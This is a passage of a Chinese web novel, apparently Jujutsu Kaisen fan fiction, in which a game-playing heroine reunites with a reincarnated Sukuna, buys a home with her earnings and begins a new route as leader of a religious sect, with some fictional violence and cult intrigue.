完全忘记自己几次挑衅都被按在地上揍的两面宿傩依然对他们初见时候的场景耿耿于怀,认为他当时并非全盛状态,所以才会输得那么难看。 日子一天天过去,春去秋来,两面宿傩提前长成了人们口中的“诅咒之王”,他拥有着更为强大的实力。 他挑衅着平安京,在轻松将平安京派出来祓除他的咒术师们团灭后,点名要“桃姬”来献上求和书。 然而……平安京的使臣战战兢兢地告诉他,皇宫内并无一位叫做“桃姬”的公主。 两面宿傩愣住了。 桃姬,不存在吗? 他不信。 闯入平安京,将整个皇宫几乎掀翻过来地寻找了一遍后,两面宿傩有些恍惚了。 她去哪了? 天皇的所有女儿都被他一个一个检查过,没有人拥有“六眼”。 对了,六眼。 两面宿傩又去把藤原家族翻了一遍,顶着他们敢怒不敢言的目光,把女眷都叫了出来。 还是没有。 “你们族里,没有‘六眼’吗?”他沉声问道。 藤原家主干巴巴地表示,什么“六眼”,他们家族已经几百年没有出过“六眼”了。 所以,是没有转世而来吗? 两面宿傩沉着脸,看得他们瑟瑟发抖。 她把他丢下了,嘴上说着会陪他一起,但最终还是把他丢下了。光阴漫长,他要去哪里找她呢? “我可是被称为诅咒的恶鬼啊。”他低低叹息,“别想甩掉我。” 于是在羂索找上门的时候,他一口就答应了。 羂索有些发愣,他还准备了很多话术来劝他呢,没想到成功得如此简单,都让他没有真实感了。 “你愿意让我做成咒具?”不管过程,总之结果是好的,羂索高兴地说道,“放心吧,我这个实验成功过很多次……” “我答应你可以,但我也有一个要求。”两面宿傩抱着手臂,冷漠地说道。 他完全符合羂索心中想象出来的“诅咒之王”的形象,强大、高冷,能得到他的帮助,他的梦想一定能更好地实现! “请说,我会尽力而为。” “不,你必须做到。”两面宿傩不容置疑地说道,“千年之后,你将我复活时,我要一具彻底属于我的身体。” “唔,‘彻底属于’的意思是?” “就是没有人使用过的,里面也没有其他人的意识。”两面宿傩说道,“我不会和其他人共用身体。” 羂索陷入了沉思。 有点难办,但也不是完全办不到。 羂索答应了他的要求,两人立下了束缚。 两面宿傩迫不及待地死去了,留下二十根手指,被羂索做成了咒具。 这个没有她的世界,太过无聊,他真的一刻也待不下去了。 一千年很长,也很短。仿佛只是睡了一觉,漫长的旅途就到了终点。 两面宿傩在一具肉身上苏醒,第一眼看见的就是羂索。他松了一口气,说道:“这具身体是我在实验室里制造出来的,用的是你自己的基因,完全符合你的要求。” 两面宿傩对着镜子,看见一张和千年前完全一样的脸。 “那么,你要我做什么?” 羂索笑眯眯地说道:“我的最终目的,是希望你能杀了五条悟,也就是现在的‘六眼’。这应当也是你的愿望吧?当初在平安京,你可是到处寻找‘六眼’呢。” 两面宿傩没有纠正羂索的误会,只是问道:“五条悟,在哪?” “在东京都立咒术高专,我会安排你过去做一名学生。五条悟是那里的老师,他虽然实力强大,却有着不合时宜的善良。你是他的学生,他一定会关照你。到时候,杀他的机会有很多。” 羂索将所有剧情都安排好了,只等演员就位。 两面宿傩颔首:“行,那就去。” 路上,羂索叮嘱他:“刚刚入学,你千万要谨慎,五条悟对杀意很敏锐的。而且他脾气不好,任性且骄纵,经常想做什么就做什么。好在他会守规矩,所以只要你扮演好一个学生,就不会出问题。” 两面宿傩越听越熟悉。 对杀意敏锐,脾气不好,骄纵,想做什么做什么。 这不就是他那位天皇陛下吗?太有既视感了。 两面宿傩在心里把这些特点一一对应起来,得出了最后的结果。 “我知道了。”他好脾气得不像是那个诅咒之王了,让羂索忍不住多看了几眼。 车子停在了高专门口,羂索就要跑路了。他可不敢赌“六眼”能不能看破他的伪装,不见面是最好的解决办法。 两面宿傩拎着行李箱下车,他现在看上去就是个普通的高中生,除了身上有黑色的纹路。 不过咒术师们本就千奇百怪,他这也不算什么。 远远地,他看见一个身材高挑的男人站在树下,似是在迎接学生。 两面宿傩有些踯躅,但还是走了过去。 男人的眼睛上蒙着黑色的布,这让两面宿傩想起天皇陛下类似的那个道具。 果然是“六眼”啊。 男人看见两面宿傩,朝他招了招手,声音上扬:“哟,是新生吗?” “是的。”两面宿傩不太确定他是否还有前世的记忆,但自己能带着记忆重生,他说不定也有吧?就算变成男人了,他也……算了,这个他还是得考虑一下。 男人低头看了一眼手机,虽然蒙着眼睛,但显然并不能阻隔视线。 “哦,你是叫……哈哈,怎么会有人叫宿傩啊。”男人毫不客气地大笑起来,“好奇怪的名字。” 两面宿傩握紧了拳,低声喊道:“桃姬?” 五条悟左右看看,没发现第三人,于是指着自己说道:“你在叫我?” 完了,新生该不会是个傻子吧? 五条悟深思着。 好吧,他似乎没有过去的记忆。 两面宿傩不知道心里是松了一口气还是更加难受了。被困在往事的,好像只有他一个。 那些从前美好的回忆,那些一同度过的日子,只有一个人还记得了。 两面宿傩难得有些伤感。 五条悟刚想说什么,忽然手机铃声响起,他接了一个电话,显得有些惊喜。 “哎呀,你的同期来了。”他挂断电话后,两只手捧着脸,一脸幸福的样子,“真是太~好了呢!今年的新生竟然有五个人!” 他看起来要高兴得撒花了。 两面宿傩有些不忍直视。 转生之后,人的性格真的会变化这么大吗?果然,假的就是假的啊。 两面宿傩暗暗摇头。 忽然,一个熟悉的声音自身后响起。 “……哎呀,我一看悠仁就觉得很亲切呢,悠仁以前一定是个很受欢 迎的男孩子吧。” “是、是吗,谢谢你,小桃。” “我觉得我们以前应该认识,可以交个朋友吗?” “啊啊,你太客气了,我们本来就是同学嘛,我帮你拿行李吧!” 两面宿傩转过身,面无表情地看向来人。一男一女并肩跨进校门,两人有说有笑,显得格外亲密。 “桃、姬。” 冷冷的一声呼喊打断了对话,今野桃抬头,整个人瞬间僵住。 两面宿傩笑了起来。 是怒极而笑。 好啊,真是太好了。 “觉得亲切?”他上前了一步。 “以前应该认识?”他抱起了手臂。 “可以交个朋友?”他站在了桃姬的面前,两人相距不过一臂,“好久不见啊,陛下。” 女生仿佛被雷劈中了似的,好半天才扯出了一个干巴巴的笑。 “你、你是谁啊?”她试图遮掩。 两面宿傩正要说话,口袋里的手机震了一下。他生疏地打开,羂索发了一条消息过来。 [忘了跟你说,你的同期里,那个叫做虎杖悠仁的,是你在母亲肚子里吃掉的那个兄弟的转世生下来的儿子。] 两面宿傩花了一分钟来理解这句话。 所以说,这家伙是他的侄子? 呵,长得是和他有几分相似啊。 今野桃小心地后退,试图用同期的身体挡住自己。 不是,千年以前的情人,怎么追到一千年以后来了啊!! 求问,死亡算是默认分手吗?在线等,急!!! 30-40 第31章 “所以,两面宿傩还真的答应了羂索啊。” 今野桃无语极了。 等两面宿傩老了就给他推销保健品。 虽然知道他有一部分原因是为了她,但这也答应得太草率了,感觉让羂索占了便宜。 不过……五条悟未来竟然有可能做老师吗?感觉是跟他很不搭的职业,他真的会教小孩吗?还是说纯放养?把眼睛遮住、把头发梳起来的五条悟,好像成熟了很多。但他一开口,就比十七岁的时候还要幼稚。 可能这就是强者的余裕。 还有,没想到一千年前的两面宿傩没有兄弟,但一千年后却蹦出来了一个侄子。说真的,虎杖悠仁和两面宿傩长得是有几分相似,但气质可谓是天差地别。 即便只有短短的一个照面,她也能感觉到少年身上洋溢的青春气息,热情、开朗又善良,简直就是一个小天使嘛。 后日谈里出现的小细节勾起了今野桃的好奇心,她认为,这个游戏最值的就是后日谈了。 可惜必须要HE结局才能出现,而想要打出HE,得又肝又氪…… 总之,骂策划就没错了! 想到自己已经打出了HE结局,今野桃连忙退出了游戏,把结局导出来,整理成一份文档后发给了委托人。 委托人在几个小时后有了回复。 【已收到。】 不等今野桃为自己辛辛苦苦打出的结局却只换了三个字而感到失落,她的手机震了一下。 【您的银行卡收到转账$100000。】 今野桃用力眨了眨眼睛,颤抖着手打开了自己的余额。下一秒,一个电话打了过来。甜美的人声从对面响起: “您好,这边收到了一笔大额的外汇转账,手续已全部办理,请问您是否知悉这件事呢?” 今野桃的喉咙有些干涩,她回道:“是的,我知道。” 她忽然想起不知道在哪里看过的一个外国笑话,说是诈骗电话询问机主在泰国有一笔大额消费,是否是本人购买了一个人妖。结果机主一句“是的”,给骗子说沉默了。 然而这一次,对面确实是银行的工作人员。 “好的,那么祝您生活愉快。” 屋内陷入了平静,狭窄的地下室没有窗户,听不到外面的声音,像是一具沉默的棺材,而她在这具棺材里面已经生活了一年多。 如果这是一场噩梦,那梦也该醒了。 今野桃拿到钱的第一件事情,就是买房子。她没有选择漂亮的新居,而是在精挑细选后看中了一套二手房。这本是一对父母为儿子结婚准备的新房,但儿子在国外有了稳定的工作和生活,老两口决定将房子卖掉,去照顾儿子。 房子装修的很温馨,处处都带有生活的气息。她掏空了身上近乎全部的积蓄,将这间二手公寓买下。但谁也看不出她是一个穷鬼,中介接待她的时候甚至点头哈腰,以为是谁家大小姐出来体验生活了。 砍价的时候,中介陪笑着说,请大小姐手下留情。 今野桃很不满意地回道:“我的钱哪里就是大风刮来的吗?” 这可是她辛辛苦苦赚到的钱。 中介愣了一下,迟疑地说道:“您一看就气质不凡,想来赚钱应该就像喝水一样容易吧。” 今野桃:感觉自己被夸了,但又没完全夸。 在一番激烈的唇枪舌剑后,两人成交了。虽然价格没有低多少,但中介答应帮她搬家。东西收收捡捡,除了那个需要两人抬的游戏舱外,她最终需要带走的东西,竟然只装了一个行李箱。 地下室的门砰一下关上,沉闷的响声回荡,仿佛是她一段人生落下的休止符。 新家足足有八十平,和阴暗狭小的地下室比,简直是云泥之别。拉开窗帘,阳光从窗户外照射进来,在地板上印出一块一块的小方格。今野桃半眯着眼睛,闻到了风中送来的花的香气。 啊,原来现实世界也到了春天。 它或许会迟来,但绝不会不来。 舒舒服服地睡了一个好觉,今野桃以饱满的精神再度进入了游戏…… 浓密的黑烟裹挟着闪烁着橘色火星的灰烬腾空而起,布满阴霾的天空分不清是因为夜色的到来,还是被冲天的火焰熏染。这片传承了千年的古宅,在翻滚扭曲的火舌之中被吞噬殆尽,焦黑的木头发出濒死的噼啪声,是哀嚎也是走到末路时的送葬曲。 有几个黑色的人影将要冲出火海,下一秒破空的斩击就将他们一分为二。鲜血飞溅,不过是在这片已经成为废墟的画布上又加了一笔浓墨重彩的痕迹。 “我不是已经说了吗?投降,或者死。” 女人漂浮在半空,身后是她的追随者。她应当长得很美,但张牙舞爪的火焰给她镀上了一层不详的气息,她像是从地狱里走出的恶鬼,把灾难带到了人间。 “不愧是御三家,骨头就是硬。”女人笑道,“禅院家主,你也想像五条家一样,被我杀的只剩最后的血脉吗。我很善良的,不会做出让你们后代断绝的事情。不过五条家最后留下的是五条悟,那禅院家呢?你打算留下你的儿子禅院直哉吗。” 她的三言两语轻而易举地就挑起了族人们的骚动,禅院直毘人闭了闭眼睛,知道他们已经无路可走了。 前车之鉴摆在那里,坚决不肯投降的五条家自以为有五条悟作为王牌,宁可东躲西藏,也要坚决反抗。最后就像是打地鼠一样,被一个一个抓出来杀掉,只留下五条悟。 她也并未折磨五条悟,只是把他留在身边,像一个普通的小孩一样养着,但这已经就是最大的耻辱了。 禅院直毘人从藏身之处走出来,软下了膝盖。 “识事务者为俊杰。”女人非常满意,“既如此,就封你为左近卫大将,管理御三家。” 加茂家早就被她彻底消灭干净,五条家也只剩下五条悟。所谓的御三家,真正还保存的,只有禅院了。 “……是。”禅院直毘人干着嗓子接下了这道命令。 还左近卫大将,她以为自己是皇帝吗? 不,她现在就是咒术界的皇帝了吧,谁还能拦得住她在咒术界作威作福呢? 可是、可是…… 轰隆一声,房屋倒塌,大族的骄傲也在顷刻间灰飞烟灭。没有人敢去抢救珍贵的物资,只是沉默地跪着,甚至不敢直视她。 女人漫步而来,停在了一个跪着的少年面前,他低着头,碎发垂落,遮挡住了他的眉眼。 “抬起头。”她命令道。 少年顺从地抬起了头,露出了一张青涩却也帅气的脸颊。可惜嘴角的那道伤疤太过刺眼,像是一件漂亮花瓶上突然出现的裂缝。 从留下的痕迹可以看出已经是多年前的事情了,这种陈年伤疤很难治好,女人伸手掐住了他的下巴,拇指微微用力,锋利的指甲将伤口再度划开。血珠滚落,凝聚成一条细细的丝线。 她松手,原本崎岖不平的伤口已经变成了光滑的皮肤。她满意地舒了一口气。 “你叫什么名字?” “禅院甚尔。” 女人显而易见的愣了一下,两团火焰似的光也在她的眼中摇曳不定。她似乎想说什么,但最后只是笑了笑。 “禅院甚尔?不错的名字。”她夸赞道。 禅院甚尔抿了抿嘴,将那一点抗拒隐藏起来。 “从今天起,你就跟着我吧。”女人不容拒绝地说。 于是禅院甚尔得以站了起来,从不起眼的角落站在了她的身后。 一步登天,不外如是。 离开的时候,禅院甚尔鬼使神差地回头望了一眼,这个曾经将他困住的家族,这片让他深深陷入难以挣脱的泥潭。 他自由了吗?。 “甚尔,那个女人最信任你,如果是你出手的话,一定会成功的。” 封闭的结界里,禅院直毘人的语速飞快。他看上去苍老了很多,仿佛只剩最后一口气吊着。 禅院甚尔什么也没说,却也没有离开。他好像在听,又好像在走神。 “这是天逆鉾,可以中断一切正在使用的术式,你可以用它封印住她的反转术式。”禅院直毘人不由分说地将一把武器塞进他的手里,“除此之外,五条悟也会配合你。他以从今以后再也不能使用领域为代价立下了束缚,加强了领域展开的力量,让它有了必定命中指定目标的效果。尽管只能使用一分钟,但也足够了。” 禅院直毘人嶙峋的身体在颤动,他仿佛已经看见那个女人死去的模样,难以抑制得抖了起来。是兴奋,还是恐惧? 禅院甚尔垂下眼睑,短促地笑了一声。 为了杀这位咒术界的无冕之王,他们当真是绞尽脑汁。 可是没有陪在王的身边的人是不会懂的,这位陛下强大的不仅仅只有实力,还有仿佛预知般的智慧。那些被处理掉的叛乱,有奸细只是其中一个微不足道的原因,更多的是因为他们早就被发现了。 陛下把他们当成乐子一样,无聊的时候就随手玩弄一番。 多可笑啊,蚂蚁的尽力一击,只会换来人类的嘲笑。 “那如果失败了呢?”禅院甚尔开口道。 禅院直毘人的嘴唇极细微地颤了颤,缓慢而低沉地说道:“不会失败的。就算失败了,只要我们还被那个女人残暴地统治着,就会有无数人前赴后继的想要推翻她。” 他如此坚定地相信着他们是正义的一方。 禅院甚尔手腕翻转,造型奇特的武器消失不见了。 “我知道了。”他懒散地回答。 失败了也无所谓,反正他也是烂命一条。 什么自由不自由的,他不过是从一个笼子走到了另一个笼子里罢了…… [禅院甚尔好感值:70] [禅院甚尔—囚鸟(BE) ——笼子更大些,难道就是自由了吗?]。 “醒醒,甚尔快醒醒。” 被反复摇晃后,禅院甚尔猛地睁开了眼睛。 外面的天还是黑的,女人背对着床头的小灯,她的眼中盛满了担心,姣好的面容在灯光的映衬下格外温柔。 “你怎么啦?做噩梦了?”她轻声说道,手指虚虚地摸过他的脸颊,像一片羽毛拂过。 禅院甚尔恍惚了一下,随后握住了她的指尖,于是漂浮不定的船只有了锚点。 “没事,大概是做了个梦吧,忘记了。”他呢喃着,记忆如潮水般褪去,很快就什么都想不起来了。 “噩梦的话,忘了就忘了。”女人松了口气,随后扬起了笑容,“别怕,我会陪着你的呀!” 所以,不要想用任何办法从我身边逃走。 死亡也不行。 第32章 禅院甚尔第一次见到今野桃,是在一个没有月光的夜晚。 乌云很厚,天上连星星也看不到。一盏昏暗的路灯闪了闪,大概是因为短路,最终还是无奈地熄灭了。幽深的巷子里,为了躲避追兵,禅院甚尔蜷缩在一处垃圾回收点后面,屏住呼吸。 凌乱嘈杂的动静越来越远,直至再也听不见。 他的嘴角露出一丝讥嘲。 明明是以祓除咒灵为职责的咒术师,为了追杀他,甚至不惜放出咒灵。不就是因为他没有咒力,所以哪怕无数次地击退了咒灵,却也无法彻底消灭它们。 真是恶心。 禅院甚尔闭上了眼睛。 虽然杀不了咒灵,但那些从禅院家出来的咒术师却没有一个是他的对手。可是为了不和禅院彻底撕破脸皮,他也不能对他们下死手。 顾虑太多的结果,就是落得现在这样的下场。 好在一切还在他的计划之中,只要绕开这一次追杀,他很快就会转道前去偏僻的乡下,永远避开咒术界。 在心中暗自盘算着,忽然,禅院甚尔听到了一个很细微的脚步声。 他猛地睁开双眼,手已经握在了短刀上。 近了……近了……靠近的步伐停下,紧接着…… “咪咪?”比水还要柔和的声音响起,女人曼妙的身影出现。她弯着腰,试图看清楚黑暗中的那两点绿色是不是她经常喂的小猫的眼睛。 然后她就和他对上了视线。 女人:“……” 禅院甚尔:“……” 女人的脸一下红了,她结结巴巴地开口道:“不、不好意思!我以为是我的小猫!实在是非常抱歉!” 禅院甚尔无语地想:他看上去很像小猫吗?而且,正常女人看见一个躺在废墟里的受伤男人,第一反应难道不应该是尖叫然后逃跑? 她好奇怪。 禅院甚尔低下头,冷冷地开口道:“滚。” 女人歪了歪头,好像没听见似的。 “你看起来好像需要帮助。”她指了指他还在流血的伤口,“真的没关系吗?” 禅院甚尔忍不住用古怪的目光看她。他开始怀疑起,眼前这个女人是不是脑子有问题。正常人难道不应该转身就跑吗?还是说,她有什么依仗? 他上上下下仔细地打量着她。 她看起来身量很轻,个头不高,一副弱不禁风的样子。她乌黑的长发披散下来,更显得脸颊只有巴掌大小。一件轻飘飘的连衣裙,露出了她仿佛一捏就会被折断的四肢。 以她刚刚走来的步伐,禅院甚尔判断她没有接受过训练。 是诱饵吗? 女人指了指旁边的大楼,开口道:“我住在上面,如果不介意的话,你就跟我回家把伤口处理一下吧。” 禅院甚尔短促地笑了一声,站了起来,轻佻地开口道:“行啊。” 他倒要看看,这个女人设下了怎样的陷阱,敢来捕猎他。 这是一栋装潢精致的公寓大楼,门口还有守门的保安,进出都得刷卡。禅院甚尔跟在她的身后,被保安看了好几眼。 “那个……今野小姐,这位是?” “是我的朋友呢。”她温柔地笑道,“吉田先生今天也辛苦了。” 保安连连摆手:“哪有哪有,这都是我的工作。” 他显然非常信任她,没有多盘问就让她带了人上去。 走进电梯,女人再次刷了一下卡,十五层的号码亮了起来。 在上楼的短暂时间里,她侧过头,对他笑道:“我叫今野桃,你可以叫我小桃。” “……甚尔。”他没有报出自己的姓氏。 她也并未追问,只是说道:“ 好的,甚尔君。” 电梯一开门就是她家,这是一间温馨的公寓,按下开关后,一盏明亮的灯把屋内的黑暗驱散。 “请坐吧,我去拿医药箱来。”她说道,甚至给他倒了杯热水。 禅院甚尔飞快地将公寓扫了一眼。公寓大概有八十平米,是两室一厅。女人应该是独居,没有看见第二个人的痕迹。 医药箱就放在客厅,她从柜子里拿出来后,把它放在桌子上,然后把绷带、纱布、酒精、碘伏和棉签等东西取出。 “我不太会处理伤口,”她不好意思地笑了笑,“你可能需要自己来了。” 禅院甚尔本来也没打算让她来,他怎么可能允许一个陌生人近身呢。于是他颔首说道:“我可以自己来。” 他连一声谢谢都没说,自顾自地开始给自己的伤口包扎。 女人也不介意,在旁边撑着头看。 她的目光是专注的,仿佛在欣赏什么珍宝。 虽然并未发现埋伏,但禅院甚尔始终警惕着,准备下一秒就和不知道从哪里冒出来的敌人战斗。也有可能是咒灵,毕竟这间公寓里好像确实没有第三个人了。 直到所有伤口都消毒包扎完,屋子里仍然风平浪静。 他和空气斗智斗勇了半个小时。 “你饿了吗?”女人又问道,“要吃点东西吗?我记得冰箱里应该还有昨天剩下的蛋糕和披萨,用微波炉加热一下就能吃了。” ……蛋糕他知道,但披萨是什么? 禅院甚尔垂着眼睑,没有说话。 难道是要在食物里下毒?哼,一般的毒可对他没有用。而如果剂量太大,也会被他轻易地闻出来。 到时候,就把掺了毒药的食物塞进她的嘴里,她的表情一定会很好看吧。 禅院甚尔恶意地想着。 没有得到回答,女人就当他同意了。蛋糕只剩下半个,可以看见里面的草莓夹心。伴随着叮的一声响,披萨也加热过了,黄油的香气弥漫开来。 一切的一切,都在暗示他,这里很安全。 “一起吃吧。”她把刀叉放在盘子上,推到了禅院甚尔的面前,然后自己切下了一小块放进嘴里。 眼看她吃了几口,禅院甚尔终于动了。他小心地从她切过的地方也切了一小块放进嘴里,慢慢地咀嚼。伴随着食物下肚,他的神情逐渐变得和缓。 女人的笑意更深了。 禅院甚尔有些受不了:“你笑什么?” 粘稠的视线,让他都要生出鸡皮疙瘩了。 “啊,没什么,只是想到了一些有趣的事情。” 比如她第一次喂流浪猫的时候,小猫也是这样的表情。它甚至会对她哈气,浑身的毛发都炸开了。可是当她把猫条塞进它的嘴里后,它就变了个表情。等到吃完一个罐头,它的声音都变得甜腻了。 确认食物里没有下毒,禅院甚尔风卷残云般将它们全都吃干净。 然后女人带他来到了浴室。 “这是新的毛巾,沐浴露和洗发水,需要的话按一下就可以了。”她介绍得很详细,“热水的开关是往这边扭一下,然后往那边扭是冷水,中间可以自己调节温度。你受了伤,暂时不要淋浴,可以用毛巾擦一擦。” 禅院甚尔抱着手臂倚在门框上,冷漠地想。 原来如此,是看中了他的皮囊吗?他也不是没有经历过这种事情。禅院家的那些女人,为了找个依靠也好,为了深夜不再寂寞也罢,不知道有多少向他或直接或隐晦地表达过这种意愿。 但他全都拒绝了,甚至觉得嫌恶。 内心的空洞是无法被身体上的欲望所填补的,自以为是的满足不过是堕入地狱的捷径。禅院甚尔无数次地警告自己,绝不要屈从于命运,否则他也早已被泥沼所吞没。 “……衣服的话,我已经在手机上下单了,很快就会送来。”女人絮絮叨叨地说完,正要转身时,肩膀上传来了一股巨大的力,把她按在了镜子上。 那双绿色的眼睛里闪烁着阴郁的光,看着就让人害怕。 “说吧,你到底想做什么?”禅院甚尔不耐烦了,“从我身上,你什么也得不到。” 女人惊讶地眨了眨眼睛,开口道:“我什么也不需要呀。” 不可能,人做任何事情都有目的,她这样大肆挥洒着善意,肯定要图谋更多。 “把陌生男人带回家,提供药物和食物,甚至还收留过夜。”禅院甚尔眯起眼睛,“你跟我说你没有目的?” 他可不信这个世界上有这么好心的人,也没空玩这种游戏。 女人若有所思,点点头说道:“原来如此,是被虐待过的小猫咪呀。” 所以需要更多的爱和包容,才能重新恢复对人类的信任。 她拍了拍他的肩膀,示意他松开她。然后她脚步轻快地走到了书架边,取下了一本册子。 “甚尔君,要了解一下我的教派吗?”她露出了悲天悯人的神色,虔诚地说道,“盘星教,致力于让所有人都得到幸福的教派。” 禅院甚尔:哈? “你难道是个传教士?”他疑惑地问道。 女人愣了一下,摇摇头:“我只是一个普通的信徒罢了。” 她顿了顿,又开口道:“甚尔君呢?” 禅院甚尔默了默,开口道:“我只是一个普通的小混混。” 第33章 盘星教,前身乃是崇拜天元的一个极端教派,据说往上可以追溯到奈良时期。但随着新时代的发展,它们有了更加崇高的目标,那就是——让每个人都过上幸福的生活! 禅院甚尔翻看着小册子,表情变得越来越无语。 盘星教的宗旨就是“帮助一切需要帮助、可以帮助的人”,宣称只要加入教派,就能得到幸福。 这怎么看怎么不对劲吧?! 禅院甚尔确定了,这个女人肯定不正常。但如果是这样,那他就没必要这么警惕了。 幸福?呵,他这样的人,也能获得幸福? “不加入也没关系的。”女人笑吟吟地将册子收好,说道,“如果说我一定从甚尔君的身上得到了什么,那大概就是帮助他人的快乐吧。” “哦?是吗。”禅院甚尔扯了扯嘴角,“那真是太好了。” 这怎么不算是双赢呢? 禅院甚尔留了下来。 第二天一大早,门锁响动的声音就把他吓了一跳。陌生人的气息让他瞬间从睡梦中惊醒,作好了随时逃走的准备。 今野桃打开了门,模糊的声音隔着门板传来。 “早上好呀,枷场太太。” “早上好,今野大人。”回答的是一个略显成熟的女声,“昨天晚上收到您的消息,所以今天特地买了比较多的食材,不知道是否合那位先生的口味。” “啊,辛苦你了。” “这都是我应该做的。” 两个女人都没有靠近客房,只是轻声细语地在客厅聊了两句,随后一人转入厨房,一人去了卫生间洗漱。 是保姆吗? 禅院甚尔推测。 他屏住呼吸,听着外面的动静。没有特殊的异响,拜超乎寻常的五感所赐,他隐约还能听见卫生间传来哼着歌的声音。 约莫半小时后,今野桃过来敲了敲禅院甚尔的房门。 “甚尔君,你醒了吗?该吃早餐了哦。”她轻柔地说道,“一日三餐要按时吃呢,如果还想睡觉,可以等吃完早餐再睡。” “……知道了。” 禅院甚尔穿上昨天晚上买回来的 衣服,推门而出。 餐桌前坐着两个女人,除了今野桃外,还有一个面容更为沧桑、看上去将近四十岁样子的中年妇女。 禅院甚尔也没打招呼,径直去了卫生间。新买好的洗漱用品摆得整整齐齐,占据了洗手池的一角。 禅院甚尔快速地打理完了自己,然后朝着客厅走去。他的注意力始终分散在两人身上,尤其是那个陌生人。 “这位是甚尔君。”今野桃介绍道,“这位是枷场太太。枷场太太也是我们盘星教中的一员,一直负责帮我做饭,甚尔君如果有什么想吃的东西可以告诉枷场太太,她会准备好。” 禅院甚尔默默点头。 今野桃对枷场太太笑了笑,说道:“之前我中午都在盘星教用餐,所以枷场太太一直只做早晚两餐,以后还要麻烦你中午也过来一趟了。” 禅院甚尔刚想说不用,伽场太太就惶恐地说道:“不麻烦不麻烦,能够帮得上大人的忙,是我的荣幸。” 她的敬语用得夸张,今野桃却没有纠正,仿佛习惯了似的。 她真的只是一个普通的信众吗? 禅院甚尔的心中生出了一丝狐疑。 但落座的时候,他仍然下意识地和今野桃坐在了一侧,姓枷场的中年妇女坐在了对面。 等他看了一眼桌子,立刻又被过于丰盛的早餐给震了一下。 禅院家的那些人……好像都不是这种吃法吧? 两米长的餐桌上满满当当地摆了十来样餐点,有粥、汤、面食、炸物、腌菜……是因为他所以准备这么多的吧?如果平时也是这么多,那真的太过奢靡了。 今野桃夹了一只大虾天妇罗放进嘴里,满足地眯起了眼睛。 禅院甚尔也不客气,从他面前的开始一样一样清空。一时间,客厅里只有碗筷碰撞的声音。 让他出乎意料的是,三人中,胃口最小的竟然是那个枷场太太,而今野桃吃下了并不少于他的份量。 优雅地擦干净了嘴,今野桃拎起手提包,对禅院甚尔说道:“那么,就麻烦甚尔君看家啦。下午没事的话,我会早点回来的。” 她的语气亲近又熟稔,好像他们两人认识了很久一样。 禅院甚尔不自在地嗯了一声。 门关上,屋子里陷入沉默。禅院甚尔不习惯和陌生人处于这么近的状态,起身想要离开。 “甚尔先生也是被今野大人捡回来的吧?”枷场太太开口道,她的脸上带着慈祥的笑意,“不用紧张,因为教中的很多人,都是被今野大人捡来的。” 呵,原来捡人是她的习惯啊!难怪这么熟练了。 “我是几个月前被今野大人从一个非常、非常偏僻的乡村捡来的,”枷场太太回忆起往事,表情有些复杂,“那个时候的我,看起来比现在要狼狈多了。我甚至以为,我会和丈夫死在那个村子,死在我们从小长大的地方。” 禅院甚尔安静听着。 “不过有时候,命运就是这么爱捉弄人。”枷场太太讽刺地笑道,“那些人不敢把我和丈夫真的杀死,又害怕我们,于是污蔑我们是怪物,想请人将我们处理掉。今野大人就是这个时候出现的。她不忍看我们受难,于是带走了我们。” 枷场夫人低头抹去了情不自禁流下的泪水,虔诚地说道:“今野大人是最善良、最仁慈、最纯洁的人,任何人向她伸出手,她都会施以援助。” 她看向禅院甚尔,和缓地开口:“所以,甚尔先生可以完全放心地留下来,不管你有什么麻烦事,告诉今野大人,大人都能够处理的。” 哼,好大的口气,她难道还能把禅院家给夷平不成? 禅院甚尔漠然想道。 “而且,”枷场夫人停顿了一下,在禅院甚尔望过来的时候,认真地说,“你是今野大人第一个带回家的人,你对今野大人一定有着不一样的意义。” 一瞬间,禅院甚尔哽住了。 他张了张嘴,想说什么,最后却只是憋出了几个字:“中午你随便做。” 他走进客房,把门关上。 不行,他不能和这个女人继续说话。 他怀疑自己也要被洗。脑了…… 忙碌的桃师傅开始了一天的工作。 密闭的室内,墙上的火把明明暗暗,让投射在墙上的影子也跟着扭曲、晃动,仿佛张牙舞爪的恶鬼。 今野桃勾了勾手指,一块肉从被绑着的男人身上掉下来,用布团塞住的嘴巴只能发出含糊不清的声音。 她意料之中地看着男人的好感值从负二十变成了负四十。 她抬了抬下巴,旁边有人上前扯掉了布团。男人凌乱的头发已经被汗水打湿,表情因为恐惧而变得狰狞。 “快点交代吧,也能少受点罪。”今野桃叹息道,“真是没完没了,这个月都第几个奸细了。” 旁边的下属恭敬地开口道:“因为知道不是大人的对手,所以只能用这种下三滥的手段了。” 这倒也是。 今野桃叹了口气。 “我说!我都说!”男人看她的手又扬了起来,立刻失声尖叫。 审讯结束,今野桃接过下属递上的湿巾,擦了擦手。 她温和地开口道:“等他把情报都吐干净,就放他回去吧,我们毕竟也不是什么坏人。” “是,大人心善。”下属们深以为然地说道。 至于奸细被放回去会有什么遭遇,那就跟他们没关系了。 密室的门关上,一行人朝着会议室走去。已经提前预约过的客户正在里面等候,只为了能得到教主的垂怜。 “求求您,大人,我不想一辈子都坐轮椅……”车祸中失去了双腿的男人痛哭流涕,为了能断肢重生,他愿意付出自己的一切。 今野桃感同身受地擦了擦眼角不存在的泪水,感动地说道:“放心,我会治好你的。” 来的时候他少了一双腿,走的时候他留下了全部身家。 “真好,又能发给大家几个月的工资了。”今野桃感慨道,养一大群手下可真是费钱啊。 旁边的下属吸了吸鼻子,哽咽地说道:“辛苦大人了,我们其实可以不用工资的。能够陪在大人身边,是我们的荣幸啊!” 周围的人都是赞同的表情。 “不行,我宁可自己吃苦,也决不能让你们缺衣少食。”今野桃叹道,“不要忘记,我们的教旨是让大家都获得幸福!” 下属们感动得不行。 “我一定会努力祓除咒灵!” “这个月我会多去外面转一转,开拓新的客户!” 他们之中有一部分是教主大人捡来的,还有一部分是诅咒师。 咒术界能提供的岗位实在是太少了,就算从两所高专毕业,也有很多人找不到工作。实力强大的还能接一接委托,实力弱的要么回到普通人的世界打工,要么做一些违法犯罪的事情,沦为诅咒师。 还有更可怜的,明明拥有咒力,却从未被发掘,稀里糊涂地就成了诅咒师。 是盘星教接纳了他们。 让他们有了施展自己能力的平台,让他们获得了新生! 他们坚信,只要追随教主大人,就能得到幸福!教主大人就是他们的启明星! 今野桃满意地看着身边的人崇拜又激动的模样。 吃一堑长一智,在经历了上个周目的失败后,她痛定思痛,认为自己犯了个错误,不应该那么张扬。御三家虽然彼此争斗,但外敌来袭时,还是会抱团求生。 她应当循序渐进,一点一点蚕食咒术界。她要发展更多的下属,团结更多的力量。 